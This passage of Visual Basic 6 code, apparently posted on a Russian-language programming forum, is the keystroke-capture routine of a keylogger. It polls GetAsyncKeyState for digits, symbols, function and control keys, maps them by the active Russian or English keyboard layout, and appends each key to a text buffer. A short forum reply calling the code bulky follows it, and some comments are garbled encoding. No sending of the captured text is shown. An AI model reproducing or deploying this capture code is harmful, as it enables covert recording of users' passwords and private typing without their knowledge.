If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ";"
End If
keystate = GetAsyncKeyState(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "%"
End If
keystate = GetAsyncKeyState(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ":"
End If
keystate = GetAsyncKeyState(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "?"
End If
Else
' â àíãëèéñêîé ðàñêëàäêå
keystate = GetAsyncKeyState(vbKey2)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "2"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "@"
End If
keystate = GetAsyncKeyState(vbKey3)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "3"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "#"
End If
keystate = GetAsyncKeyState(vbKey4)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "4"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "$"
End If
keystate = GetAsyncKeyState(vbKey5)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "5"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "%"
End If
keystate = GetAsyncKeyState(vbKey6)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "6"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "^"
End If
keystate = GetAsyncKeyState(vbKey7)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "7"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "&"
End If
End If
keystate = GetAsyncKeyState(vbKey8)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "8"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "*"
End If
keystate = GetAsyncKeyState(vbKey9)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "9"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "("
End If
keystate = GetAsyncKeyState(vbKey0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "0"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ")"
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''' Function keys ''''''''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyF1)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F1 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF10)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F10 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF2)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F2 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF3)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F3 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF4)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F4 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF5)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F5 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF6)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F6 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF7)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F7 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF8)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F8 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF9)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F9 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF11)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F11 " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyF12)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " F12 " + vbNewLine
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Other Keys '''''''''''''''''''''''''''''''''''''
keystate = GetAsyncKeyState(vbKeyTab)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " tab " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyLeft)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " âëåâî "
End If
keystate = GetAsyncKeyState(vbKeyRight)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " âïðàâî "
End If
keystate = GetAsyncKeyState(vbKeyUp)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " ââåðõ " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyDown)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " âíèç " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyInsert)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " insert " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyDelete)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Delete " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyEnd)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " end " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyHome)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " home " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyScrollLock)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " ScrollLock " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyPageUp)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " PageUp " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyPageDown)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Pagedown " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyEscape)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "Esc" + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyControl)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Control " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyReturn)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "Enter" + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyNumlock)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + "NumLock" + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyBack)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Backspace " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyPause)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Pause/Break " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyShift)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Shift " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeySpace)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Space "
End If
keystate = GetAsyncKeyState(vbKeySnapshot)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " PrintScreen " + vbNewLine
End If
keystate = GetAsyncKeyState(vbKeyCapital)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " CapsLock "
End If
keystate = GetAsyncKeyState(vbKeyMenu)
If (keystate And &H1) = &H1 Then
Text2 = Text2 + " Alt " + vbNewLine
End If
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' Keys }{]["':;?/>.<,+=~`|\ ''''''''''''''''''''
keystate = GetAsyncKeyState(&HBD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "-"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "_"
End If
keystate = GetAsyncKeyState(&HBB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "="
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "+"
End If
If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, vbNull)) = 68748313 Then
' â ðóññêîé ðàñêëàäêå
keystate = GetAsyncKeyState(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "¸"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "¨"
End If
keystate = GetAsyncKeyState(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "æ"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "Æ"
End If
keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "á"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "Á"
End If
keystate = GetAsyncKeyState(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "þ"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "Þ"
End If
keystate = GetAsyncKeyState(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ","
End If
keystate = GetAsyncKeyState(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "õ"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "Õ"
End If
keystate = GetAsyncKeyState(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "\"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "/"
End If
keystate = GetAsyncKeyState(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "ú"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "Ú"
End If
keystate = GetAsyncKeyState(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "ý"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "Ý"
End If
Else
' â àíãëèéñêîé ðàñêëàäêå
keystate = GetAsyncKeyState(&HC0)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "`"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "~"
End If
keystate = GetAsyncKeyState(&HBA)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ";"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ":"
End If
keystate = GetAsyncKeyState(&HBC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ","
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "<"
End If
keystate = GetAsyncKeyState(&HBE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "."
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + ">"
End If
keystate = GetAsyncKeyState(&HBF)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "/"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "?"
End If
keystate = GetAsyncKeyState(&HDB)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "["
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "{"
End If
keystate = GetAsyncKeyState(&HDC)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "\"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "|"
End If
keystate = GetAsyncKeyState(&HDD)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "]"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "}"
End If
keystate = GetAsyncKeyState(&HDE)
If Shift = 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + "'"
End If
If Shift <> 0 And (keystate And &H1) = &H1 Then
Text2 = Text2 + Chr$(34)
End If
End If
''''''''''''''''''''''''''''''''''''''''''''''''''''''''íåèçâåñíûå vb keys'''''''''''''''''''''''''''''''''''
'keystate = GetAsyncKeyState(vbKeyCancel)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyCancel" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyClear)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyClear" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyDivide)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyDivide" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyExecute)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyExecute" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyHelp)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyHelp" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeyPrint)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeyPrint" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeySelect)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeySelect" + vbNewLine
'End If
'keystate = GetAsyncKeyState(vbKeySeparator)
'If (keystate And &H1) = &H1 Then
'Text2 = Text2 + "vbKeySeparator" + vbNewLine
'End If
End Sub
Naked писал(а):слишком громозкий код, а делает тоже самое что мой
Сейчас этот форум просматривают: SemrushBot и гости: 65